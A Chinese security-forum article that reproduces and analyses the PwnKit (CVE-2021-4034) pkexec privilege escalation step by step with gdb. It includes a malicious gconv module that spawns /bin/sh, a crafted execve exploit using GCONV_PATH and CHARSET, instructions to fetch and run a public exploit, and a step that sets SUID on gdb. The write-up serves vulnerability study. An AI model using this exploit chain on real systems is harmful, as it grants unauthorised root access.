10

[原创]CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

 2 years ago
source link: https://bbs.pediy.com/thread-271423.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
[原创]CVE-2021-4034 pkexec本地提权漏洞复现与原理分析
5天前 3828

近期爆出了一个影响甚广的本地提权漏洞CVE-2021-4034,诸如Ubuntu、Debian、Fedora和CentOS 等主流Linux操作系统都受到了该漏洞影响。漏洞利用脚本在互联网上已经公开,利用起来异常简单且稳定。在当前的环境下,当攻击者获得目标操作系统一个普通用户权限时,则极大概率可以直接获得root权限,使得权限控制机制形同虚设。
而如此重大的漏洞,起因却仅仅是因为一个名为pkexec的程序对参数个数的判断存在疏忽,造成了一个数组溢出。如何利用一个数组溢出获得root权限呢?怀着这一疑问,本人对公开利用脚本进行了源码调试分析,感慨其利用技巧极具艺术性的同时,将分析过程记录成本篇文章。

感性的认识——漏洞复现

本次的漏洞复现环境为Kali-Linux-2021.2-vmware-amd64,其pkexec版本为0.105,使用普通用户kali进行复现。

下载exp源码并编译(如果目标环境没有gcc,可以在本地编译好了之后再拷贝上去)

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make

测试exp效果,得到了root权限

./cve-2021-4034

图片描述

漏洞分析基础环境

操作系统:Kali-Linux-2021.2-vmware-amd64
polkit源码版本:polkit-0.105
gdb配置:
1.设置反汇编风格为intel风格(个人喜好)
2.关闭pwndbg等配置,避免调试时过多的信息造成干扰
3.设置gdb的SUID位,避免调试pkexec时执行到geteuid函数失败,报错“pkexec must be setuid root”

chmod 4755 /usr/bin/gdb

图片描述

资源下载
https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz
https://github.com/berdav/CVE-2021-4034.git

argc何时为0

test.c

#include<stdio.h>
int main(int argc, char** argv)
{
printf("argc: %d\n", argc);
for(int i; i<argc; i++) {
printf("%s\n", argv[i]);
}
return 0;
}

学过C语言的朋友都知道,如上代码中,argc表示参数的个数,argv存放着具体的参数,argv[0]指向程序本身,argv[1]指向第一个参数,argv[2]指向第二个参数,...,argv[argc]存放0 表示结束。
图片描述

当我们在命令行中执行程序时,argc的取值至少为1,因为即使不加参数,argv[0]也要指向程序路径本身。pkexec的作者也是这么想的,从而百密一疏,遗留下了一个重大隐患。在特殊情况下,如使用execve来调用程序,并给argv传值 NULL,则argc为0。
execve函数声明

#include <unistd.h>
int execve(const char *pathname, char *const argv[], char *const envp[]);

execve.c

#include <unistd.h>
int main(int argc, char **argv)
{
return execve("./test", NULL, NULL);
}

图片描述

argv与envp在内存里的布局是连续的

execve.c

#include <unistd.h>
int main()
{
char* const argv[] = {
"AAAA1111",
"BBBB2222",
"CCCC3333",
NULL
};
char* const envp[] = {
"DDDD3333",
"EEEE4444",
"FFFF5555",
NULL
};
return execve("./test", argv, envp);
}

使用execve调用test程序,并分别给argv与envp传递了3个值。

test.c

#include<stdio.h>
int main(int argc, char** argv)
{
printf("argc: %d\n", argc);
for(int i; i<8; i++) {
if(argv[i]!=NULL) {
printf("argv[%d]: %s\n", i, argv[i]);
} else {
printf("argv[%d]: NULL\n", i);
}
}
return 0;
}

argc为3,加上截止符0,argv的大小为4,这里直接打印了8个值,显然是越界了。argv后面的内容是什么呢?
图片描述
通过实验,表明argv与envp在内存布局上是连续的,envp紧跟argv之后。

利用g_printerr 执行命令

main.c

int main()
{
g_printerr("Hello world.\n");
return 0;
}

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
char * const args[] = { "/bin/sh", "-pi", NULL };
char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
execve(args[0], args, environ);
exit(0);
}

Makefile

all:
echo "module UTF-8// AAAA// pwnkit 1" > gconv-modules
gcc --shared -fPIC -o pwnkit.so pwnkit.c
gcc -o test main.c -lglib-2.0

run.sh

#!/bin/bash
export CHARSET=AAAA
export GCONV_PATH=.
./test

g_printerr 的功能和printf很像,主要就是打印文本。在本实验中,当环境变量设置了CHARSET,且不为UTF-8时,g_printerr会进行编码转换,而转换的方法就是根据GCONV_PATH里的配置文件gconv-modules的说明,调用pwnkit.so,从而得到shell。
图片描述

SUID权限

当一个程序被设置了SUID权限,则其他用户执行该程序时,可以临时切换到程序所有者的权限去执行一些功能。因为涉及到权限变更,所以在执行操作系统自带的此类程序时,往往被要求授权。
pkexec的所有者为root,具有SUID权限,当普通用户kali执行“pkexec bash”命令时会被要求授权。获得授权后,得到了root权限。
图片描述
图片描述

执行具有SUID权限的程序时,不安全的环境变量不会被引入

打印所有环境变量
main.c

int main()
{
system("env");
return 0;
}

使用root用户进行编译,并设置SUID权限

gcc -g -O0 -o test main.c
chmod 4755 ./test

图片描述
设置环境变量,并通过test程序打印出来,用以判断环境变量的导入情况

run.sh

#!/bin/bash
export GCONV_PATH=AAAA0001
export GETCONF_DIR=AAAA0002
export HOSTALIASES=AAAA0003
export LD_AUDIT=AAAA0004
export LD_DEBUG=AAAA0005
export LD_DEBUG_OUTPUT=AAAA0006
export LD_DYNAMIC_WEAK=AAAA0007
export LD_HWCAP_MASK=AAAA0008
export LD_LIBRARY_PATH=AAAA0009
export LD_ORIGIN_PATH=AAAA0010
export LD_PRELOAD=AAAA0011
export LD_PROFILE=AAAA0012
export LD_SHOW_AUXV=AAAA0013
export LD_USE_LOAD_BIAS=AAAA0014
export LOCALDOMAIN=AAAA0015
export LOCPATH=AAAA0016
export MALLOC_TRACE=AAAA0017
export NIS_PATH=AAAA0018
export NLSPATH=AAAA0019
export RESOLV_HOST_CONF=AAAA0020
export RES_OPTIONS=AAAA0021
export TMPDIR=AAAA0022
export TZDIR=AAAA0023
export PATH=AAAA1001:/usr/bin
export SHELL=AAAA1002
export CHARSET=AAAA1003
export BBBB=AAAA1004
./test

分别以root用户和kali用户执行“./run.sh |grep AAAA”,用来判断环境变量的导入情况。
图片描述
图片描述
通过实验可以知道,当以kali用户身份去执行所有者为root且具有SUID权限的程序时,GCONV_PATH、LD_PRELOAD 等不安全的环境变量并不会被引入。

利用原理分析

构建pkexec源码调试环境

下载源码polkit-0.105

https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz

安装编译环境

apt install automake
apt install autopoint
apt install libtool
apt install gtk-doc-tools
apt install libpam0g-dev
apt install intltool
./configure (要把-O2换成 -O0,关闭优化,方便调试)
make

设置SUID权限

以root用户赋权

cd src/programs/.libs
chmod 4755 pkexec

图片描述

修改利用脚本berdav/CVE-2021-4034

修改利用脚本里调用的程序为刚编译好的pkexec,以便源码调试。
cve-2021-4034.c

#include <unistd.h>
int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
return execve("../polkit-0.105/src/programs/.libs/pkexec", args, environ);
}

gdb调试

pkexec的授权认证是如何被绕过的

"./pkexec bash"是正常的用法,会先请求授权,然后再以root权限执行bash命令;而"./cve-2021-4034"会利用漏洞,跳过授权认证,直接以root权限执行命令。授权认证是如何被绕过的呢?
如果能在源码层次记录下两个程序的执行流程,则可以比对出有差异的地方,从而帮助我们理解“授权认证是如何被绕过”这个问题,更直观的理解漏洞利用过程。

gdb源码追踪脚本

step_trace.py

import sys
import gdb
import os
import re
def in_frames(needle):
""" Check if the passed frame is still on the current stack """
hay = gdb.newest_frame()
while hay:
if hay == needle:
return True
hay = hay.older()
return False
# Use this to reduce any kind of unwanted noise
def filter_step(output):
output = re.sub(r'^.*No such file or directory\.\n', r'', output, flags=re.M)
output = re.sub(r'^\d+\s+in\s+.*\n', r'', output, flags=re.M)
return output
def step_trace(filename=None, step="step"):
counter = 0
if filename:
output = ""
frame = gdb.newest_frame()
print("Stepping until end of {} @ {}:{}".format(frame.name(), frame.function().symtab, frame.function().line))
while in_frames(frame):
counter += 1
if filename:
output += filter_step(gdb.execute(step, to_string=True))
else:
gdb.execute(step)
if filename:
with open(filename, "w") as file:
file.write(output)
print("Done stepping through {} lines.".format(counter))
(gdb) source step_trace.py
(gdb) python step_trace(step="next")

step_trace.py是gdb的源码追踪脚本,可以把执行过的代码打印到终端上。其中,step="next" 表示单步步过,step="step" 表示单步步入。

调试"./pkexec bash"

bplist

set follow-fork-mode parent
b main
b /home/kali/software/relase/polkit-0.105/src/programs/pkexec.c:900
r bash
source step_trace.py
python step_trace(step="next")

在pkexec的main函数和调用execv(pkexec.c:900)时下断点,记录中间的源码调用。在调试过程中,可以知道授权弹窗在705行代码polkit_authority_check_authorization_sync处调用。另外,step_trace.py 把源码追踪的结果打印在了终端,可以通过复制的方式另存为gdb_pkexec_bash.log,以便后面的分析。
图片描述
图片描述
图片描述

调试"./cve-2021-4034"

bplist_cve

b main
r
c
b /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:900
set follow-fork-mode parent
source /home/kali/software/release/polkit-0.105/src/programs/.libs/step_trace.py
python step_trace(step="next")

源码追踪"./cve-2021-4034"的执行,并把日志记录为gdb_cve-2021-4034.log,以便后面的分析。
图片描述
图片描述

代码流日志比对

图片描述
通过比对代码流日志,可以清晰的看到"./cve-2021-4034"对argc的处理和validate_environment_variable的行为上存在异常,发现这两点异常将十分有助于我们理解漏洞利用过程。"./cve-2021-4034"的代码流程非常的短,其在调用环境变量校验函数validate_environment_variable的时候就获得了shell,这也就解释了为何会绕过授权认证,因为根本就没走到那。

如何获取shell权限的

通过gdb调试,可以打印一些关键变量的值,并给gdb_cve-2021-4034.log加上备注,这样有助于理解漏洞利用过程。

深入调试"./cve-2021-4034"

b main
r
c
b /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:593
set follow-fork-mode parent
gdb ./cve-2021-4034 -x bp

图片描述
由图可知,参数数组与环境变量数组在内存布局上是连续的,本例中,argv[1]即是environ[0]

图片描述
s被赋值为"GCONV_PATH=./pwnkit.so:.",在pkexec程序看来,这只是一个普通的文件路径,而这是攻击者特意构造的,是为了引入不安全的环境变量GCONV_PATH。

图片描述
利用越界写漏洞,成功引入不安全的环境变量GCONV_PATH。

图片描述
构造报错,调用g_printerr,得到shell。

gdb_cve-2021-4034_details.log

Breakpoint 1, main (argc=0, argv=0x7ffe2d2d4e58) at pkexec.c:406
406       const gchar *environment_variables_to_save[] = {
Breakpoint 2 at 0x55d64339bed6: file pkexec.c, line 900.
Stepping until end of main @ pkexec.c:386
442       ret = 127;
443       authority = NULL;
444       subject = NULL;
445       details = NULL;
446       result = NULL;
447       action_id = NULL;
448       saved_env = NULL;
449       path = NULL;
450       command_line = NULL;
451       opt_user = NULL;
452       local_agent_handle = NULL;
455       if (geteuid () != 0)
461       original_user_name = g_strdup (g_get_user_name ());
462       if (original_user_name == NULL)
468       if (getcwd (original_cwd, sizeof (original_cwd)) == NULL)
478       opt_show_help = FALSE;
479       opt_show_version = FALSE;
480       opt_disable_internal_agent = FALSE;
481       for (n = 1; n < (guint) argc; n++)       //n被赋值为1
512       if (opt_show_help)
518       else if (opt_show_version)
525       if (opt_user == NULL)
--Type <RET> for more, q to quit, c to continue without paging--
526         opt_user = g_strdup ("root");
536       g_assert (argv[argc] == NULL);
537       path = g_strdup (argv[n]);                //越界读,path被赋值为 argv[1],即 environ[0],"pwnkit.so:."
538       if (path == NULL)
543       if (path[0] != '/')
546           s = g_find_program_in_path (path);    //在环境变量PATH中寻找"pwnkit.so:.",并把路径返回给 s。利用脚本中把PATH设置为"GCONV_PATH=.",且在磁盘上提前生成了名为"GCONV_PATH=."的文件夹,并放置了名为"pwnkit.so:."的程序,因此,s被赋值 "GCONV_PATH=./pwnkit.so:."
547           if (s == NULL)
552           g_free (path);
553           argv[n] = path = s;                   //越界写,argv[1]被设置为"GCONV_PATH=./pwnkit.so:.",即environ[0] 被修改,重新引入了不安全的环境变量GCONV_PATH,至此完成了至关重要的一步。接下来只要随便构造个错误,使其报错时调用到 g_printerr 即可。
555       if (access (path, F_OK) != 0)
560       command_line = g_strjoinv (" ", argv + n);
561       exec_argv = argv + n;
566       rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
567       if (rc == 0 && pw == NULL)
572       else if (pw == NULL)
579       saved_env = g_ptr_array_new ();
580       for (n = 0; environment_variables_to_save[n] != NULL; n++)
582           const gchar *key = environment_variables_to_save[n];
585           value = g_getenv (key);
586           if (value == NULL)
593           if (!validate_environment_variable (key, value))  //key="SHELL", value="/lol/i/do/not/exists",在校验环境变量时报错"The value for the SHELL variable was not found the /etc/shells file",进而调用了 g_printerr ,触发漏洞利用,最终执行pwnkit.so里的execve("/bin/sh", args, environ)得到shell。
process 11852 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Error in re-setting breakpoint 2: No source file named /home/kali/software/release/polkit-0.105/src/programs/pkexec.c.
#

当使用普通用户权限执行pkexec时,GCONV_PATH、LD_PRELOAD等不安全的环境变量会被删除,但攻击者可以通过参数数组的越界读写漏洞,重新引入不安全的环境变量,进而构造利用链获取root权限。这一漏洞的起因十分简单,危害却十分严重,值得深思。

https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
https://duo.com/decipher/serious-privilege-escalation-flaw-in-linux-component-patched
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://stackoverflow.com/questions/39602306/tracing-program-function-execution-on-source-line-level
https://www.xiebruce.top/1387.html
https://bbs.pediy.com/thread-271345.htm

【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

上传的附件:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK